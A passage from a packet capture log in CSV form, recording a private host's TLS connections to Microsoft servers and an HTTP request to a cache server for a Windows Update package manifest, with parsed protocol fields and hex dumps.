\\\\x1b\\\\xc4\\\\x13\\\\\\\\\\\\xf0,e\\\\x19c\\\\x91\\\\xe7\\\\x9e\\\\xe9g\\\\xbe\\\\xf5_\\\\x08\\\\xf4j\\\\x7f\\\\xa5?\\\\x11\\\\x90\\\\xe4m\\\\xb0^\\\\x1e\\\\x9d\\\\x8az\\\\\\\\:\\\\xbf\\\\xd2\\\\xb9\\\\xcb\\\\xee\\\\xf8\\\\xab\\\\x90y\\\\xa25F\\\\xb3\\\\x9d\\\\x9cd\\\\x13\\\\xfe\\\\xb2\\\\xb0,\\\\xb0\\\\xa0w\\\\xf0YRn\\\\x10\\\\x0f\\\\xc5W\\\\xc6M:Z\\\\x17\\\\xee\\\\xc8\\\\x8b\\\\x1e\\\\xa1\\\\xc7\\\\x1c\\\\x9b9\\\\x1f\\\\x17\\\\x1c#\\\\xf9w\\\\xbb\\\\xdb\\\\x96^\\\\xf6gi\\\\xca\\\\xb7[\\\\xd3\\\\x16\\\\xa97\\\\xba10\\\\xfe\\\\x11\\\\xcdN\\\\x80\\\\x9c:B\\\\xd6\\\\xafjZ\\\\x95\\\\xc9#\\\\xbc\\\\r\\\\t\\\\x03\\\\xc7Q\\\\xd6z+\\\\x19\\\\\\\\R\\\\xdd\\\\x12\\\\xdcg\\\\xbf\\\\xa7\\\\t9\\\\xdb\\\\x15\\\\xc7\\\\xd76\\\\xea\\\\x18^9Q\\\\xe1\\\\x8cd\\\\n\\\\xb2\\\\xb5|\\\\x17\\\\xc7\\\\xf3DulcL\\\\xe0l\\\\xa2\\\\x8eJ\\\\xaaEW\\\\\\\\+\\\\x14_\\\\xd6\\\\xa1\\\\xe2\\\\xe4\\\\xfd\\\\xe54\\\\x01T\\\\xca\\\\xcc\\\\x181\\\\x0cM\\\\xa31~\\\\x06*\\\\x0e\\\\xfa\\\\xc9\\\\x1c\\\\x0b\\\\xb5\\\\xfa;\\\\xaa\\\\x13\\\\x06\\\\x9c\\\\x15`\\\\xc7\\\\xeb\\\\xcf\\\\xc5\\\\xe0\\\\x03x\\\\xcd}\\\\x1d\\\\xf9\\\\xb7\\\\xb5\\\\xa8G\\\\xac\\\\xcc\\\\xccH\\\\x92{\\\\x0eUt\\\\xeb\\\\xe0\\\\x06\\\\x15\\\\x04\\\\xb1\\\\x964\\\\xa1w\\\\x00f\\\\x86NT\\\\'\\\\xe6t\\\\xef\\\\xae\\\\xee7\\\\xf2\\\\x1c+\\\\xc3\\\\xdf\\\\xe4\\\\xba^\\\"\"\\\\x1f\\\\xd7\\\\xb94\\\\xfe\\\\xc2\\\\x91\\\\xe4\\\\xa8\\\\xe0w\\\\xebI\\\\x19o\\\\x9d\\\\xc5%!\\\\xf9e\\\\x83x\\\\xcaI\\\\xc2\\\\xe4\\\\xa6kb\\\\xc0\\\\x96\\\\xcdG\\\\x86Tj\\\\xf7:\\\\x80\\\\x9d$]7\\\\xeb@\\\\xf5\\\\x1e\\\\x9ej\\\\xc2>#\\\\xb5\\\\x0f|\\\\xdcd\\\\xe1\\\\xef\\\\xf9\\\\xe6@\\\\x04)>z\\\\xcd\\\\xc3A\\\\xaeP\\\\xb2=\\\\xc1\\\\x8a\\\\xd6\\\\xa6W\\\\xcc(\\\\x9a\\\\x96\\\\x1d\\\\xa7\\\\xffU\\\\x06|\\\\xd1\\\\x8dQ\\\\xcb\\\\xd0/\\\\x88\\\\xf5\\\\xe4\\\\x95\\\\'\\\\x88%\\\\xfa\\\\xee\\\\xf1\\\\xe9\\\\xf4\\\\x05+\\\\x93\\\\xaa\\\\xdc\\\\xf7\\\\x04D+\\\\xc5\\\\xaak\\\\x98`\\\\xa9}\\\\xf7\\\\x02\\\\xd4\\\\x9a\\\\xea\\\\xb8g\\\\x14\\\\xcct\\\\xbcL\\\\xa4YT\\\\x92\\\\x0b\\\\x9b\\\\xb0o\\\"\"NJPB\\\\xfb\\\\xae\\\\xc5\\\\xf0\\\\xa5\\\\xce\\\\x9e\\\\tm\\\\x0e)\\\\xa7c_/a`\\\\x83\\\\xde\\\\xc5\\\\x16.\\\\x90M\\\\x1e\\\\x05\\\\xb5v3\\\\xae\\\\x9e\\\\xb7\\\\xbb\\\\x07\\\\x13$' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:53.070585,124,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,A,,,Ether > IP > TCP,3,TCP A Seq=4018534346 Ack=4211347471,bc24112907bbbc2411360d0c080045000028290640008006ffd20a98980b3461faf2fa0401bbef85f7cafb04100f50100400ebb80000,\".$.)...$.6\n...E..().@.....\n...4a..............P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10502, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65490, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018534346, \"\"ack\"\": 4211347471, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 60344, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:53.076010,125,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,RA,,,Ether > IP > TCP,3,TCP RA Seq=2933371928 Ack=869428859,bc24112907bbbc2411360d0c08004500002813ad400080064ffa0a98980b2863cc22f9dc01bbaed7b41833d26e7b5014000017d20000,\".$.)...$.6\n...E..(..@...O.\n...(c.\"\"........3.n{P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5037, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20474, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371928, \"\"ack\"\": 869428859, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 6098, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:53.076246,126,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,RA,,,Ether > IP > TCP,3,TCP RA Seq=2486875096 Ack=4213686705,bc24112907bbbc2411360d0c080045000028119d400080065a6c0a98980b3461b7c2f9fd01bb943ab3d8fb27c1b15014000020640000,\".$.)...$.6\n...E..(..@...Zl\n...4a.......:...'..P... d..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4509, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23148, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486875096, \"\"ack\"\": 4213686705, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 8292, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:53.076324,127,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,RA,,,Ether > IP > TCP,3,TCP RA Seq=4018534346 Ack=4211347471,bc24112907bbbc2411360d0c080045000028290740008006ffd10a98980b3461faf2fa0401bbef85f7cafb04100f50140000efb40000,\".$.)...$.6\n...E..().@.....\n...4a..............P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10503, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65489, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018534346, \"\"ack\"\": 4211347471, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 61364, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:53.335746,128,TCP 10.152.152.11:64007 -> 23.143.152.86:80,10.152.152.11,23.143.152.86,64007,80,TCP,Internal,Private Network,,,,,,United States,Unknown,400798,Pittsburgh Internet Exchange,37.751,-97.822,23.143.152.0/24,S,,,Ether > IP > TCP,3,TCP S Seq=2190247568 Ack=0,bc24112907bbbc2411360d0c080045000034ef4740008006b8f30a98980b178f9856fa070050828c8690000000008002faf01e220000020405b40103030801010402,\".$.)...$.6\n...E..4.G@.....\n......V...P.............\"\"..............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 61255, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 47347, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"23.143.152.86\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64007, \"\"dport\"\": 80, \"\"seq\"\": 2190247568, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 7714, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-28 14:01:53.335797,129,TCP 23.143.152.86:80 -> 10.152.152.11:64007,23.143.152.86,10.152.152.11,80,64007,TCP,United States,Unknown,400798,Pittsburgh Internet Exchange,37.751,-97.822,23.143.152.0/24,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=795081143 Ack=2190247569,bc2411360d0cbc24112907bb080045000034000040004006e83b178f98560a98980b0050fa072f63f9b7828c86918012faf052af0000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@..;...V\n....P../c..........R..............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59451, \"\"src\"\": \"\"23.143.152.86\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64007, \"\"seq\"\": 795081143, \"\"ack\"\": 2190247569, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 21167, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-28 14:01:53.336029,130,TCP 10.152.152.11:64007 -> 23.143.152.86:80,10.152.152.11,23.143.152.86,64007,80,TCP,Internal,Private Network,,,,,,United States,Unknown,400798,Pittsburgh Internet Exchange,37.751,-97.822,23.143.152.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=2190247569 Ack=795081144,bc24112907bbbc2411360d0c080045000028ef4840008006b8fe0a98980b178f9856fa070050828c86912f63f9b8501004022cb80000,\".$.)...$.6\n...E..(.H@.....\n......V...P..../c..P...,...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61256, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 47358, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"23.143.152.86\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64007, \"\"dport\"\": 80, \"\"seq\"\": 2190247569, \"\"ack\"\": 795081144, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 11448, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:53.336089,131,TCP 10.152.152.11:64007 -> 23.143.152.86:80,10.152.152.11,23.143.152.86,64007,80,TCP,Internal,Private Network,,,,,,United States,Unknown,400798,Pittsburgh Internet Exchange,37.751,-97.822,23.143.152.0/24,PA,,http://23.143.152.86/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,bc24112907bbbc2411360d0c0800450001bdef4940008006b7680a98980b178f9856fa070050828c86912f63f9b850180402ed3e0000474554202f7068662f632f646f632f70682f70726f64352f6d73646f776e6c6f61642f7570646174652f736f6674776172652f736563752f323032352f30392f313032342f77696e646f777331302e302d6b62353036363133302d7836342d6e64703438315f303630343666656537653834666462323532626630646661306435313737326164613536303462652e6361622e6a736f6e3f6361636865486f73744f726967696e3d646f776e6c6f61642e77696e646f77737570646174652e636f6d20485454502f312e310d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a4163636570743a202a2f2a0d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a557365722d4167656e743a204d6963726f736f66742d44656c69766572792d4f7074696d697a6174696f6e2f31302e300d0a4d532d43563a2055384c634a70724350452b717533576e2e312e312e372e322e342e312e310d0a436f6e74656e742d4c656e6774683a20300d0a486f73743a2032332e3134332e3135322e38360d0a0d0a,\".$.)...$.6\n...E....I@....h\n......V...P..../c..P....>..GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Encoding: gzip, deflate\nUser-Agent: Microsoft-Delivery-Optimization/10.0\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1\nContent-Length: 0\nHost: 23.143.152.86\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 445, \"\"id\"\": 61257, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 46952, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"23.143.152.86\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64007, \"\"dport\"\": 80, \"\"seq\"\": 2190247569, \"\"ack\"\": 795081144, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 60734, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": \"\"*/*\"\", \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": \"\"gzip, deflate\"\", \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": \"\"Keep-Alive\"\", \"\"Content_Length\"\": \"\"0\"\", \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"23.143.152.86\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Microsoft-Delivery-Optimization/10.0\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": \"\"{b'MS-CV': b'U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1'}\"\"}}]\"\n2026-06-28 14:01:53.336094,132,TCP 23.143.152.86:80 -> 10.152.152.11:64007,23.143.152.86,10.152.152.11,80,64007,TCP,United States,Unknown,400798,Pittsburgh Internet Exchange,37.751,-97.822,23.143.152.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=795081144 Ack=2190247974,bc2411360d0cbc24112907bb0800450000288fd1400040065876178f98560a98980b0050fa072f63f9b8828c88265010003f52a30000,\".$.6\n..$.)....E..(..@.@.Xv...V\n....P../c.....&P..?R...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36817, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 22646, \"\"src\"\": \"\"23.143.152.86\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64007, \"\"seq\"\": 795081144, \"\"ack\"\": 2190247974, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 21155, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:53.923107,133,TCP 23.143.152.86:80 -> 10.152.152.11:64007,23.143.152.86,10.152.152.11,80,64007,TCP,United States,Unknown,400798,Pittsburgh Internet Exchange,37.751,-97.822,23.143.152.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,bc2411360d0cbc24112907bb080045000ff88fd24000400648a5178f98560a98980b0050fa072f63f9b8828c88265018003f62730000485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a2053756e2c203238204a756e20323032362031343a30313a353320474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20333739330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a207075626c69632c6d61782d6167653d3137323830300d0a4c6173742d4d6f6469666965643a204d6f6e2c203133204f637420323032352032323a33353a343620474d540d0a5669613a20312e31207661726e6973680d0a4167653a203134313233300d0a582d5365727665642d42793a2063616368652d79797a343535362d59595a0d0a582d43616368653a204849540d0a582d43616368652d486974733a203131370d0a582d54696d65723a2053313736323437303930302e3538313837312c5653302c5645300d0a582d4349443a2031303030320d0a582d4343433a2037306664616536382d303966382d346532372d613165382d6634313361313633353733330d0a436f6e74656e742d53656375726974792d506f6c6963793a2064656661756c742d737263202773656c662720687474703a2068747470733a20646174613a20626c6f623a2027756e736166652d696e6c696e65270d0a582d5853532d50726f74656374696f6e3a20313b206d6f64653d626c6f636b0d0a582d4672616d652d4f7074696f6e733a2053414d454f524947494e0d0a582d43616368652d5374617475733a205354414c450d0a4163636570742d52616e6765733a2062797465730d0a0d0a7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4